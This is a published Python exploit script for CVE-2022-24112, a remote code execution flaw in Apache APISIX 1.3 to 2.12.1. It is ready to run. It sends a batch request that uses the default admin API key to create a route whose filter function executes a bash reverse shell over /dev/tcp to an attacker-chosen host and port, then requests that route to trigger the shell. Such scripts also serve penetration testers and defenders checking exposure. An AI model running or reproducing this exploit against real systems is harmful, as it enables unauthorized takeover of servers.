Apache APISIX 2.12.1 Remote Code Execution

`# Exploit Title: Apache APISIX 2.12.1 - Remote Code Execution (RCE)  
# Date: 2022-03-16  
# Exploit Author: Ven3xy  
# Vendor Homepage: https://apisix.apache.org/  
# Version: Apache APISIX 1.3 – 2.12.1  
# Tested on: CentOS 7  
# CVE : CVE-2022-24112  
  
  
import requests  
import sys  
  
class color:  
HEADER = '\033[95m'  
IMPORTANT = '\33[35m'  
NOTICE = '\033[33m'  
OKBLUE = '\033[94m'  
OKGREEN = '\033[92m'  
WARNING = '\033[93m'  
RED = '\033[91m'  
END = '\033[0m'  
UNDERLINE = '\033[4m'  
LOGGING = '\33[34m'  
color_random=[color.HEADER,color.IMPORTANT,color.NOTICE,color.OKBLUE,color.OKGREEN,color.WARNING,color.RED,color.END,color.UNDERLINE,color.LOGGING]   
  
  
def banner():  
run = color_random[6]+'''\n . ,   
_.._ * __*\./ ___ _ \./._ | _ *-+-  
(_][_)|_) |/'\ (/,/'\[_)|(_)| |   
| |   
\n'''  
run2 = color_random[2]+'''\t\t(CVE-2022-24112)\n'''   
run3 = color_random[4]+'''{ Coded By: Ven3xy | Github: https://github.com/M4xSec/ }\n\n'''  
print(run+run2+run3)   
  
if (len(sys.argv) != 4):  
banner()  
print("[!] Usage : ./apisix-exploit.py <target_url> <lhost> <lport>")  
exit()  
  
else:  
banner()  
target_url = sys.argv[1]   
lhost = sys.argv[2]  
lport = sys.argv[3]  
  
headers1 = {  
'Host': '127.0.0.1:8080',  
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36 Edg/97.0.1072.69',  
'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',  
'Accept': '*/*',  
'Accept-Encoding': 'gzip, deflate',  
'Content-Type': 'application/json',  
'Content-Length': '540',  
'Connection': 'close',  
}  
  
headers2 = {  
'Host': '127.0.0.1:8080',  
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36 Edg/97.0.1072.69',  
'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',  
'Accept': '*/*',  
'Accept-Encoding': 'gzip, deflate',  
'Content-Type': 'application/json',  
'Connection': 'close',  
}  
  
json_data = {  
'headers': {  
'X-Real-IP': '127.0.0.1',  
'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',  
'Content-Type': 'application/json',  
},  
'timeout': 1500,  
'pipeline': [  
{  
'path': '/apisix/admin/routes/index',  
'method': 'PUT',  
'body': '{"uri":"/rms/fzxewh","upstream":{"type":"roundrobin","nodes":{"schmidt-schaefer.com":1}},"name":"wthtzv","filter_func":"function(vars) os.execute(\'bash -c \\\\\\"0<&160-;exec 160<>/dev/tcp/'+lhost+'/'+lport+';sh <&160 >&160 2>&160\\\\\\"\'); return true end"}',  
},  
],  
}  
  
response1 = requests.post(target_url+'apisix/batch-requests', headers=headers1, json=json_data, verify=False)  
  
response2 = requests.get(target_url+'rms/fzxewh', headers=headers2, verify=False)  
  
  
`